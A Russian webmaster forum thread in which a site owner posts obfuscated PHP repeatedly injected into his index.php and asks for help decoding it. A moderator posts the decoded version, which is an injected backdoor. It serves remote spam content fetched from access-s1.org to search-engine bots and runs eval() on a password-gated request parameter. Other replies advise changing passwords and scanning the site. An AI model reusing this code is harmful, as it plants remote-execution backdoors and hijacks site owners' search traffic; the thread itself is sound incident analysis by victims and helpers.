X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Помогите расшифровать
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:13; Ответить: dimka1109
Сообщение #1


Участник
***


Группа: Banned
Сообщений: 116
Регистрация: 28.10.2011
Поблагодарили: 18 раз
Репутация:   1  


<?php $x12="\143ur\x6c\x5fi\156\151\164"; $x13="\143u\x72\154\x5fse\x74\157\x70t"; $x14="\143\165rl\137\x65\170\x65c"; $x15="curl_c\154o\163\x65"; $x16="\145\x76al"; $x17="fi\154\x65\x5fg\x65\x74\137\x63\x6f\156te\156ts"; $x18="functi\157n\137e\x78i\x73\x74\163"; $x19="in\x69_\147\145\x74"; $x1a="\x70\x72\x65g\x5f\x6d\x61t\143\x68"; $x1b="s\164\162ip\x73\154ashe\163"; $x1c="\x75rl\x65\156\143o\144\145";
error_reporting(0);$x0b = "\x68\164\x74p\072\057\x2f\141\x63\143e\163s-\163\061.\x6f\x72\x67\x2fi\156\x64\x65\x78\141\164o\162\061/\147\145\164\x2e\x70h\160"; $x0c = "\0612\x333\062\x31\x71\161";if ($x1a("\057\050\x79\x61n\144e\170\x7cgo\157\x67l\145)/\x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("\150\x74\x74p\x3a\x2f/".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."\077\x69\x64=".$x0d."\046\x63h\x61\x72\163et\075\x75\046\142o\164\x3d".$x0e; if($x19("\x61l\154\x6fw\137ur\x6c\x5f\146\x6f\160\x65\x6e") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."?\x63\157de\x3d\x63od\145\046\x62\x6ft\x3d".$x0e;if($x19("al\x6c\x6fw\x5f\165\x72\154_\146o\160\145\156") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["c"] == $x0c) $x16($x1b($_REQUEST["c\157\x64\x65"])); ?>


Пихают и пихают этот код мне на сайты, помогите расшифровать)
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 13.1.2013, 1:22; Ответить: Belos
Сообщение #2


Старожил
******

Группа: Active User
Сообщений: 2468
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 695 раз
Репутация:   96  


С расшифровкой не помогу. В какой файл запихивают? Какие права на файл стоят?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:30; Ответить: dimka1109
Сообщение #3


Участник
***


Группа: Banned
Сообщений: 116
Регистрация: 28.10.2011
Поблагодарили: 18 раз
Репутация:   1  


Belos,

пихают в индекс.пхп и после стали они ставить права 444
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 13.1.2013, 1:37; Ответить: Belos
Сообщение #4


Старожил
******

Группа: Active User
Сообщений: 2468
Регистрация: 11.11.2008
Из: Украина
Поблагодарили: 695 раз
Репутация:   96  


Меняйте пароли
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dimka1109
dimka1109
Topic Starter сообщение 13.1.2013, 1:40; Ответить: dimka1109
Сообщение #5


Участник
***


Группа: Banned
Сообщений: 116
Регистрация: 28.10.2011
Поблагодарили: 18 раз
Репутация:   1  


шелл залит скорее всего , не думаю что в пассах дело
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
White_Lion
White_Lion
сообщение 13.1.2013, 5:08; Ответить: White_Lion
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 430
Регистрация: 21.3.2010
Поблагодарили: 127 раз
Репутация:   51  


Движок какой?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
KipiaSoft
KipiaSoft
сообщение 13.1.2013, 9:16; Ответить: KipiaSoft
Сообщение #7


Старожил
******

Группа: Active User
Сообщений: 2096
Регистрация: 16.11.2009
Из: Волгоград
Поблагодарили: 632 раза
Репутация:   74  


(dimka1109 @ 13.1.2013, 1:13) *
Пихают и пихают этот код мне на сайты, помогите расшифровать)

тут время не на расшифровку тратить нужно, а на поиск и устранение уязвимости.
Попробуйте айболитом про сканировать свой сайт _http://revisium.com/ai/


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neoBuT
neoBuT
сообщение 13.1.2013, 14:59; Ответить: neoBuT
Сообщение #8


Новичок
*

Группа: User
Сообщений: 36
Регистрация: 12.1.2013
Из: С марса...
Поблагодарили: 2 раза
Репутация:   0  


Что за движок ?


--------------------
Просто сайт о богато
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
x64
x64
сообщение 13.1.2013, 16:00; Ответить: x64
Сообщение #9


F.A.L.L.O.U.T.
*******

Группа: Super Moderator
Сообщений: 3419
Регистрация: 30.6.2011
Из: Железнодорожный (Балашиха)
Поблагодарили: 2737 раз
Репутация:   289  


Развернуть/Свернуть
<?php
error_reporting(0);

$x0b = "http://access-s1.org/indexator1/get.php";
$x0c = "123321qq";
if (preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])) {
    $x0d = urlencode("http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);
    $x0e = urlencode($_SERVER['HTTP_USER_AGENT']);
    $x0f = $x0b."?id=".$x0d."&charset=u&bot=".$x0e;
    if (ini_get("allow_url_fopen") == 1) {
        echo file_get_contents($x0f);
    } elseif (function_exists('curl_init')) {
        $x10 = curl_init($x0f);
        curl_setopt($x10, CURLOPT_HEADER, FALSE);
        curl_setopt($x10, CURLOPT_RETURNTRANSFER, TRUE);
        $x11 = curl_exec($x10);
        curl_close($x10);
        echo $x11;
    }
}

$x0f = $x0b."?code=code&bot=".$x0e;
if (ini_get("allow_url_fopen") == 1) {
    echo file_get_contents($x0f);
} elseif (function_exists('curl_init')) {
    $x10 = curl_init($x0f);
    curl_setopt($x10, CURLOPT_HEADER, FALSE);
    curl_setopt($x10, CURLOPT_RETURNTRANSFER, TRUE);
    $x11 = curl_exec($x10);
    curl_close($x10);
    echo $x11;
}
if($_REQUEST["c"] == $x0c) eval(stripslashes($_REQUEST["code"]));


--------------------


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
neoBuT
neoBuT
сообщение 13.1.2013, 18:47; Ответить: neoBuT
Сообщение #10


Новичок
*

Группа: User
Сообщений: 36
Регистрация: 12.1.2013
Из: С марса...
Поблагодарили: 2 раза
Репутация:   0  


судя по расшифровке комуниздят трафик поисковой ...


--------------------
Просто сайт о богато
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите выбрать программу
Помогите выбрать программу
10 impak 1259 4.12.2017, 18:31
автор: bitcoin24_exchange
Открытая тема (нет новых ответов) Помогите найти плагин на WP
Отзывы с профилей соц сетей
1 SEOMR 426 30.11.2017, 7:18
автор: Nell
Открытая тема (нет новых ответов) Помогите найти проблему
Долгий ответ сервера
6 maxim1249 656 29.11.2017, 17:27
автор: genjnat
Открытая тема (нет новых ответов) Помогите оценить новотник. Плиз
1 Alex-777 493 29.11.2017, 7:18
автор: grumdas
Открытая тема (нет новых ответов) Помогите с неймингом для сборника советов
советы по разработки и жизни
11 coremission 1861 15.11.2017, 22:23
автор: rogefer


 



RSS Текстовая версия Сейчас: 11.12.2017, 6:13
Дизайн